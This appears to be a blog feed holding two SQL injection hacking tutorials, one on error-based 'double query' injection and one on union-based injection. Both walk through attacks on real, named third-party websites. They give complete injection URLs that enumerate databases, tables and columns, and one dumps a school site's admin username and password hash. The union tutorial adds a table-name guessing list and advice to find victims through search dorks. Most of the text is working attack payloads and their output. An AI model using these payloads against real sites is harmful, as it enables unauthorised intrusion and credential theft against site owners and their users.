<h2 id="Now-Lets-Start-with-DOUBLE-Query-SQL-Injection"><a href="#Now-Lets-Start-with-DOUBLE-Query-SQL-Injection" class="headerlink" title="Now Lets Start with DOUBLE Query SQL Injection"></a>Now Lets Start with DOUBLE Query SQL Injection</h2><p>So basically, as stated above, DOUBLE Query is the same like Error Based except the query we’ll enter is gonna be double the normal error based query.<br>First off, the definition so that you can understand:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Double query SQL injection is a vulnerability that uses two queries together wrapped into one that confuses the db to a point where it spits out an error. This error gives us the info we need to leverage the database all the way to the admin panel. As a matter of fact we can pretty much dump the whole database if we want.</span><br></pre></td></tr></table></figure></p>
<p><strong> Differences: </strong><br>Error Based Query for Database Extraction:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">and (select 1 from (select count(*),concat((select(select concat(cast(database() as char),0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)</span><br></pre></td></tr></table></figure></p>
<p>Double Query for Database Extraction:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">and(select 1 from(select count(*),concat((select (select</span><br><span class="line">concat(0x7e,0x27,cast(database() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from</span><br><span class="line">information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Now you get the idea, lets cut to the chase and go on.<br>We’ll be using the same site as above</p>
<h3 id="Step1-Getting-the-database-version"><a href="#Step1-Getting-the-database-version" class="headerlink" title="Step1: Getting the database version"></a>Step1: Getting the database version</h3><p>Alright same as Error Based, here’s the Double query:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">and(select 1 from(select count(*),concat((select (select</span><br><span class="line">concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from</span><br><span class="line">information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>So our Address will look like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p><strong>NOTE(IMPORTANT): Make sure that your queries are very well organized when you execute them, otherwise the browser will return the results as an error.</strong></p>
<p>Results after query execution:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Duplicate entry &apos;~&apos;5.1.56-log&apos;~1&apos; for key &apos;group_key</span><br></pre></td></tr></table></figure></p>
<h3 id="Step2-Getting-the-Database"><a href="#Step2-Getting-the-Database" class="headerlink" title="Step2: Getting the Database"></a>Step2: Getting the Database</h3><p>Now we’ve got the version, lets execute a double query on extracting the database.<br>Query for Database extraction:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">and(select 1 from(select count(*),concat((select (select (SELECT distinct</span><br><span class="line">concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT N,1)) from</span><br><span class="line">information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Notice the LIMIT Function again and make sure you don’t make mistakes in that<br>It shows that.<br>Limit N,1 where N is a random integer. Example: Limit 0,1.<br>Here’s what our address will then look like:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Once more, don’t forget about the LIMIT Function.<br>So here’s the results:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iqbal_iqbal</span><br></pre></td></tr></table></figure></p>
<h3 id="Step3-Getting-the-Table-Names"><a href="#Step3-Getting-the-Table-Names" class="headerlink" title="Step3: Getting the Table Names"></a>Step3: Getting the Table Names</h3><p>As I’ve explained above, we’ll be also using the LIMIT Function in this query.<br>Just a quick look, the query will look like this:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">and(select 1 from(select count(*),concat((select (select (SELECT distinct</span><br><span class="line">concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where</span><br><span class="line">table_schema=0xhex_code_of_database_name LIMIT N,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from</span><br><span class="line">information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Alright you need to focus on the code and see the changes.<br>There are two variables here: </p>
<ol>
<li>Hex_code_databasename </li>
<li>LIMIT Function<br>Obviously, we need to Hex the database name we’ve just taken into record and add 0x in the beginning i.e. Database= 0xiqbal_iqbal.<br>To convert your database name into hex: <a href="http://www.swingnote.com/tools/texttohex.php" target="_blank" rel="external">http://www.swingnote.com/tools/texttohex.php</a>.<br>Now that you’ve the database into hex, lets see what our address will look like:<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(table_name as char),0x27,0x7e) FROM information_schema.tables Where table_schema=0x697162616c5f697162616c LIMIT 19,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure>
</li>
</ol>
<p>LIMIT 19,1 brings us the valuable table which is “settings”.<br>Review the code and study it.</p>
<h3 id="Step4-Getting-Column-names-from-specific-Tables-and-Database"><a href="#Step4-Getting-Column-names-from-specific-Tables-and-Database" class="headerlink" title="Step4: Getting Column names from specific Tables and Database"></a>Step4: Getting Column names from specific Tables and Database</h3><p>Now that we know what we need which are the table (settings) and database (iqbal_iqbal), lets proceed to the next step; column extraction.<br>Here’s what the query will look like:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">and(select 1 from(select count(*),concat((select (select (SELECT distinct</span><br><span class="line">concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where</span><br><span class="line">table_schema=0xhex_code_of_database_name AND table_name=0xhex_code_of_table_name LIMIT N,1)) from information_schema.tables</span><br><span class="line">limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Now here we have 3 variables: </p>
<ol>
<li>Hex code of Databasename: Hex the database which in our case is (iqbal_iqbal) </li>
<li>Hex code of tablename: Hex the table name which is “settings” </li>
<li>LIMIT Function<br>Alright, I’m pretty sure you know what you have to do exactly so I don’t need to explain everything again and again. </li>
</ol>
<p>Here’s what the address is gonna look like:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(column_name as char),0x27,0x7e) FROM information_schema.columns Where table_schema=0x697162616c5f697162616c AND table_name=0x73657474696e6773 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Notice the hexed variables and the LIMIT Function.<br>Keep incrementing the LIMIT until you find the valuable columns which in our case is “userName” and “passWord”.<br>Review what we have just done for less confusion.</p>
<h3 id="Step5-Getting-the-Data-from-the-Columns-with-the-help-of-Table-name-and-Database-name"><a href="#Step5-Getting-the-Data-from-the-Columns-with-the-help-of-Table-name-and-Database-name" class="headerlink" title="Step5: Getting the Data from the Columns with the help of Table name and Database name"></a>Step5: Getting the Data from the Columns with the help of Table name and Database name</h3><p>Alright now that we know what we need to extract, lets get our goods.<br>As far as what we’re injected in the site, this is our information:<br>database name: iqbal_iqbal<br>table name: settings<br>column names: userName, passWord </p>
<p>Here’s what the query will look like first (for extracting data):<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">and(select 1 from(select count(*),concat((select (select</span><br><span class="line">(SELECT concat(0x7e,0x27,cast(table_name.column_name as char),0x27,0x7e) FROM `database_name`.table_name LIMIT N,1) ) from</span><br><span class="line">information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Variables:<br>table_name.column_name: Input the table name and column name you want to extract information from. </p>
<p>database_name.table_name: Input the database name and table name you want to extract information from. </p>
<p>LIMIT Function: Increment until you find the data you need. </p>
<p>So here’s what our address is gonna look like when we extract details from userName.<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and(select 1 from(select count(*),concat((select (select(SELECT concat(0x7e,0x27,cast(settings.userName as char),0x27,0x7e) FROM `iqbal_iqbal`.settings LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Output:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">admim</span><br></pre></td></tr></table></figure></p>
<p>Query for extracting details from passWord:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.aliqbalschools.org/index.php?mode=getpagecontent&amp;pageID=21 and(select 1 from(select count(*),concat((select (select(SELECT concat(0x7e,0x27,cast(settings.passWord as char),0x27,0x7e) FROM `iqbal_iqbal`.settings LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1</span><br></pre></td></tr></table></figure></p>
<p>Output:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">86f574c1d63d53fa804c13c3213953d9</span><br></pre></td></tr></table></figure></p>
<p>Username: admin<br>Password: 86f574c1d63d53fa804c13c3213953d9 </p>
<h2 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h2><p>Alright I think that’s pretty much what you have to know about Error Based/Double Query SQL injection.</p>
<p><br></p>
</content>
<summary type="html">
<h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>Alright I’ll make this tutorial as short as possib
</summary>
<category term="A-SQLi" scheme="http://sec.php101.cn/categories/A-SQLi/"/>
<category term="MegaSQLi" scheme="http://sec.php101.cn/tags/MegaSQLi/"/>
<category term="Error Based" scheme="http://sec.php101.cn/tags/Error-Based/"/>
<category term="Double Query" scheme="http://sec.php101.cn/tags/Double-Query/"/>
</entry>
<entry>
<title>SQLi--PART III:Union Based/Normal SQL Injection</title>
<link href="http://sec.php101.cn/2014/11/01/SQLi--PART-IIIUnion-BasedNormal-SQL-injection/"/>
<id>http://sec.php101.cn/2014/11/01/SQLi--PART-IIIUnion-BasedNormal-SQL-injection/</id>
<published>2014-11-01T02:24:33.000Z</published>
<updated>2016-10-25T13:48:11.000Z</updated>
<content type="html"><h2 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h2><p>The method used to extract information from a database in a website using SQL injection queries on the URL/Address bar is what we’re gonna learn today. </p>
<p>Previous tutorial: <a href="http://sec.php101.cn/2014/10/30/SQLi--PART-IIBypassing-Login-pages-on-websites-using-SQL-injectable-queries/">Bypassing Login Pages with SQL injection</a> </p>
<p>There are many types of SQL injection when it comes to web hacking. </p>
<p>What we learned in the previous tutorial was the only Basics where were used it to bypass Admin/User logins. </p>
<p>However, what will you do if can’t bypass it even though it’s vulnerable to SQL injection? </p>
<p>Well, the answer is simple. You do the process on your URL/Address bar instead of the text boxes on an admin/user login page. </p>
<p><strong>Common Types of SQL injection are:</strong></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">UNION Based SQL injection</span><br><span class="line">String Based SQL injection</span><br><span class="line">Error Based SQL injection</span><br><span class="line">Double Query SQL injection</span><br><span class="line">Blind SQL injection</span><br><span class="line">MsSQL injection</span><br></pre></td></tr></table></figure>
<p>What we are going to learn today is what we call <code>UNION Based SQL injection</code>. </p>
<p>Alright before we start we need to know how a website works while it stores Login information/pages/pictures/etc. in its database. </p>
<p>Lets just say that our website will look like this: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.site.com/index.php?id=5</span><br></pre></td></tr></table></figure>
<p>Notice at the end of the URL, “id=5”.<br>This is what the query will look like:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM index</span><br><span class="line">WHERE id = 5</span><br></pre></td></tr></table></figure>
<p>Alright, now you know a bit of how the website works, let’s get hacking. </p>
<h2 id="Step1-Finding-the-vulnerability-in-a-website"><a href="#Step1-Finding-the-vulnerability-in-a-website" class="headerlink" title="Step1: Finding the vulnerability in a website"></a>Step1: Finding the vulnerability in a website</h2><p>It’ll be like a small puzzle you have to solve. See, you can’t just hack a website like <code>http://www.site.com</code> -.- </p>
<p>To hack a website, you need to scan it yourself by clicking links and find out if there’s something like “index.php?id=XXX” where “XXX” is a random integer (number) or string (word). </p>
<p>Alright now to find sites vulnerable to SQLi is using Google Dorks. </p>
<p>Once you’ve found a site vulnerable to SQLi, it’s time to execute queries. </p>
<p>For this tutorial, we’ll be using <code>http://www.leadacidbatteryinfo.org</code> as an example. </p>
<p>Try browsing the website and see if you can find links like <code>index.php?id=xxx</code>. </p>
<p>It can be anything like <code>details.php?id=xxx</code> or <code>gallery.php?id=</code>.</p>
<p>Just find an address with a number at the end of the URL. </p>
<p>Here’s what I found <code>http://www.leadacidbatteryinfo.org/newsdetail.php?id=51</code>. </p>
<p>Now to test for vulnerabilities is by ADDING a quote “ ‘ “ at the end of the url i.e after the integer or string, So it’ll look like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=51&apos;</span><br></pre></td></tr></table></figure>
<p>Now you’ll notice an error saying:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near &apos;\&apos;&apos; at line 1</span><br></pre></td></tr></table></figure>
<p>This shows that the website is vulnerable to SQL injection. </p>
<p>How is this possible? </p>
<p>Look at the query when we added a quote “ ‘ “:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM article</span><br><span class="line"> WHERE id = 5 &apos;</span><br></pre></td></tr></table></figure>
<p>Notice that, their database never stored “id = 5 ‘ “ </p>
<p>This is why they return an error result. </p>
<p>Now that we know the website is vulnerable to SQL injection, let’s advance to the next process. </p>
<h2 id="Step2-Finding-the-number-of-columns-a-website-has"><a href="#Step2-Finding-the-number-of-columns-a-website-has" class="headerlink" title="Step2: Finding the number of columns a website has"></a>Step2: Finding the number of columns a website has</h2><p>This is the part where most people had commonly misunderstood. </p>
<p>To get to the point, what we’re about to do is find how many columns the website has using <strong>NoError/Error</strong> statements. </p>
<p>Alright lets get started. </p>
<p>The query we’ll be using is <code>order by X--</code> where <strong>X</strong> is a random integer (number). </p>
<p>Start by entering <code>order by 25--</code>. </p>
<p>Enter it at the end of the URL, so it’ll look like this: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 25--</span><br></pre></td></tr></table></figure>
<p>Error, there are no 25 columns, so it’ll be less than 25. </p>
<p>Now lets try <code>order by 20--</code>:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 20--</span><br></pre></td></tr></table></figure>
<p>Still Error, so there are less than 20 columns. </p>
<p>How about we go down a bit to <code>order by 5--</code>: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 5--</span><br></pre></td></tr></table></figure>
<p>aha! No errors. So let’s see if there are more than 5 columns. </p>
<p>Now lets go up to <code>order by 11--</code>: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 11--</span><br></pre></td></tr></table></figure>
<p>Hmm, no errors I see. So it’s obvious that there could be more than 11 columns. </p>
<p>See if we can increase to <code>order by 12--</code>: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=51 order by 12--</span><br></pre></td></tr></table></figure>
<p>Error! So this means the last number that returned no error is <strong>11</strong>. </p>
<p>Therefore, the website has <strong>11 columns</strong>. </p>
<h2 id="Step3-Now-that-we-found-the-number-of-Columns-time-to-Execute-the-UNION-SELECT-statement"><a href="#Step3-Now-that-we-found-the-number-of-Columns-time-to-Execute-the-UNION-SELECT-statement" class="headerlink" title="Step3: Now that we found the number of Columns, time to Execute the UNION SELECT statement"></a>Step3: Now that we found the number of Columns, time to Execute the UNION SELECT statement</h2><p>First off, we need to know what does <code>UNION SELECT</code> means. </p>
<p>Lets say we have 2 tables, “users” and “admin”. </p>
<p>Basically, <code>UNION SELECT</code> is a statement where all these information will be collected as one. </p>
<p>Look at this query: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM users</span><br><span class="line">UNION SELECT * FROM admin</span><br></pre></td></tr></table></figure>
<p>If we perform the UNION SELECT statement, we can get both users and admin information from their database. </p>
<p>The point is that, UNION SELECT returns our results with the information we need. </p>
<p>If you want to find vulnerable columns, use <code>UNION SELECT</code>.</p>
<p>If you want to find version of database, <code>UNION SELECT</code>.</p>
<p>If you want admin information! use <code>UNION SELECT</code>. </p>
<p>Alright, now that we know something about the Union function, lets continue. </p>
<p>Take our website that has 11 columns and add a “UNION SELECT” statement. </p>
<p>Here’s how our query will look like: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11--</span><br></pre></td></tr></table></figure>
<p>This is what you would normally do if you use UNION function while SQL injecting a website. </p>
<p>Focus on something like this, <code>index.php?id=-X UNION SELECT N--</code>. </p>
<p>Where <code>X</code> is a random integer/string and <code>N</code> is the number of columns followed by two hyphens <code>--</code> and another hyphen <code>-</code> beside <code>X</code>. </p>
<h2 id="Step4-Random-numbers-appear-on-screen-the-next-step"><a href="#Step4-Random-numbers-appear-on-screen-the-next-step" class="headerlink" title="Step4: Random numbers appear on screen, the next step"></a>Step4: Random numbers appear on screen, the next step</h2><p>Alright I’m pretty sure you’ll find a bunch of numbers showing up on the screen. </p>
<p>These are known as <code>vulnerable columns</code> which states that those vulnerable columns have stored data inside them we need to extract. </p>
<p>You need to inject the number at the very top (always at the very top). </p>
<p>So, in this case we have number “8”. </p>
<p>Now you might be asking, what can I do with a vulnerable column? </p>
<p>Well here’s what you can get– <strong>INFORMATION!</strong> </p>
<p>You need a lot of information to study from the website, here are a couple of examples.</p>
<p>Replace the vulnerable column i.e number 8 with a statement. </p>
<p>Statements:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">@@version, version()</span><br><span class="line">database(),</span><br><span class="line">user(),</span><br><span class="line">@@hostname</span><br><span class="line">@@datadir</span><br></pre></td></tr></table></figure>
<p>Their functions:</p>
<ul>
<li>@@version/version() = find the version of the database</li>
<li>database() = find the current database</li>
<li>user() = find the user information</li>
<li>@@hostname = Current hosting info</li>
<li>@@datadir = directory of the data of the website</li>
</ul>
<p>To find the version of the database in the website, replace the vulnerable column i.e number 8 with “@@version” or “version(). </p>
<p>It’ll look like this: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,@@version,9,10,11--</span><br></pre></td></tr></table></figure>
<p>Results: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">5.1.52-log</span><br></pre></td></tr></table></figure>
<p>So the database version is 5, which is good because it’ll be easier to SQL inject the website. </p>
<blockquote>
<p>Note: Database version less than 5 “<5" 5="" =="" you="" need="" to="" guess="" tables="" (a="" bit="" hard="" work)="" database="" version="" greater="" than="" "="">5” = easy to inject with another function i.e group_concat</5"></p>
</blockquote>
<p>If you ever want to SQLi a website with version &lt;5, then you can guess the tables with the following below:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line">adminstbl</span><br><span class="line">id</span><br><span class="line">tuser</span><br><span class="line">tusers</span><br><span class="line">uid</span><br><span class="line">userid</span><br><span class="line">user_id</span><br><span class="line">auid</span><br><span class="line">adminpass</span><br><span class="line">LoginID</span><br><span class="line">FirstName</span><br><span class="line">LastName</span><br><span class="line">cms_user</span><br><span class="line">cms_member</span><br><span class="line">cms_users</span><br><span class="line">cms_members</span><br><span class="line">cms_admin</span><br><span class="line">cms_admins</span><br><span class="line">user_admin</span><br><span class="line">user_info</span><br><span class="line">user_list</span><br><span class="line">user_login</span><br><span class="line">user_logins</span><br><span class="line">user_names</span><br><span class="line">userrights</span><br><span class="line">userinfo</span><br><span class="line">userlist</span><br><span class="line">webadmin</span><br><span class="line">webadmins</span><br><span class="line">Webmaster</span><br><span class="line">Webuser</span><br><span class="line">product</span><br><span class="line">products</span><br><span class="line">tblproducts</span><br><span class="line">tblproduct</span><br><span class="line">tbl_tbadmin</span><br><span class="line">Adminlogin</span><br></pre></td></tr></table></figure>
<p>We’ll be knowing how to get the tables in the next step. </p>
<p>But for now, let’s see what we can get with other statements. </p>
<p>Lets try all statements at once shall we. </p>
<p>The URL will look like this:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(database(),version(),@@datadir,@@hostname,user()),9,10,11--</span><br></pre></td></tr></table></figure>
<p>We have almost every information we have about the website. </p>
<p>Look close here, we used a command <code>group_concat</code>. </p>
<p>Here’s its function:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Group_concat = Gets every information at once i.e grouping them with the help of statements. Ex. group_concat(database())</span><br></pre></td></tr></table></figure>
<blockquote>
<p>Note:Group_concat won’t work with versions less than 5</p>
</blockquote>
<h2 id="Step5-Getting-the-table-names"><a href="#Step5-Getting-the-table-names" class="headerlink" title="Step5:Getting the table names"></a>Step5:Getting the table names</h2><p>What are tables? </p>
<p>Tables contain columns and columns contain the data. </p>
<p><code>It&#39;s like a stack (table) of books (columns) and data inside the books (data inside the columns)</code>. </p>
<p>Alright, first lets look up some functions we’re gonna use to extract table names (Important). </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">group_concat = grouping up data to a specific statement</span><br><span class="line">table_name = tables names to be shown on screen</span><br><span class="line">from = location of a specified statement</span><br><span class="line">information_schema.tables = information in the database with table names in it</span><br><span class="line">table_schema = tables in a database</span><br><span class="line">database() = current database in the website</span><br><span class="line">0x0a = a Hex code that creates a new line for organizing tables in an order</span><br></pre></td></tr></table></figure>
<p>Now lets combine those functions and make up a query that will give us the table names. </p>
<p>So, here’s what our link will look like:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(table_name,0x0a),9,10,11 from information_schema.tables where table_schema=database()--</span><br></pre></td></tr></table></figure>
<p>In here, we replaced our vulnerable column with <code>group_concat(table_name,0x0a)</code> and then we added a <code>from information_schema.tables where table_schema=database()--</code> after the last column (excluding the two hyphens after 11). </p>
<p>Results on table names:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pdigclicks ,pdigengine ,pdigexcludes ,pdigincludes ,pdigkeywords ,pdiglogs ,pdigsite_page ,pdigsites ,pdigspider ,pdigtempspider ,tbladmin ,tblbanner ,tblbanner_page ,tblfaq ,tblncategory ,tblnews</span><br></pre></td></tr></table></figure>
<p>Alright now that we’ve found the tables, what you’re gonna have to do is<br>that, you have to find tables where user/admin information are stored. </p>
<p>In this case, “tbladmin” seems to be having an admin information stored in it. </p>
<p>It’s all about predicting and expecting what’s behind every table you see. </p>
<p>Okay, before proceeding to the next step, make sure you remember the statements we used in order to get the tables. </p>
<p>Replace and Add the following <code>Vulnerable Column = replace with &quot;group_concat(table_name,0x0a)&quot;</code>. After the last column = Add <code>&quot;from information_schema.tables where table_schema=database()--&quot;</code>. </p>
<p>Also, don’t forget about <strong>UNION SELECT</strong> before the column numbers and the hyphen (-) before “X” at <code>index.php?id=X</code> where “X” is a random integer/string. </p>
<h2 id="Step6-Getting-Columns-from-Tables"><a href="#Step6-Getting-Columns-from-Tables" class="headerlink" title="Step6:Getting Columns from Tables"></a>Step6:Getting Columns from Tables</h2><p>Alright obviously, our next task is to get the column names from a specific table which in our case was “tbladmin’. </p>
<p>To do this, we’re gonna have to alter some queries a bit. </p>
<p>Now look closely at this syntax: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.leadacidbatteryinfo.org/newsdetail.php?id=-51 UNION SELECT 1,2,3,4,5,6,7,group_concat(column_name,0x0a),9,10,11 from information_schema.columns where table_name=0x74626c61646d696e--</span><br></pre></td></tr></table></figure>
<p>Here’s what we replaced: </p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">table_name = replaced by &quot;column_name&quot;</span><br><span class="line">information_schema.tables = replaced by &quot;information_schema.columns&quot;</span><br><span class="line">table_schema = replaced by &quot;table_name&quot;</span><br><span class="line">database() = replaced by &quot;0x74626c61646d696e--&quot;</span><br></pre></td></tr></table></figure>
<p>Now that you know the replacements in our syntax, you still might be wondering what’s up with the last part where entered “0x74626c61646d696e–”. </p>
<p>First of all, these are known as Hex. </p>
<p>To make a Hex readable, we put <code>0x</code> at the beginning. </p>
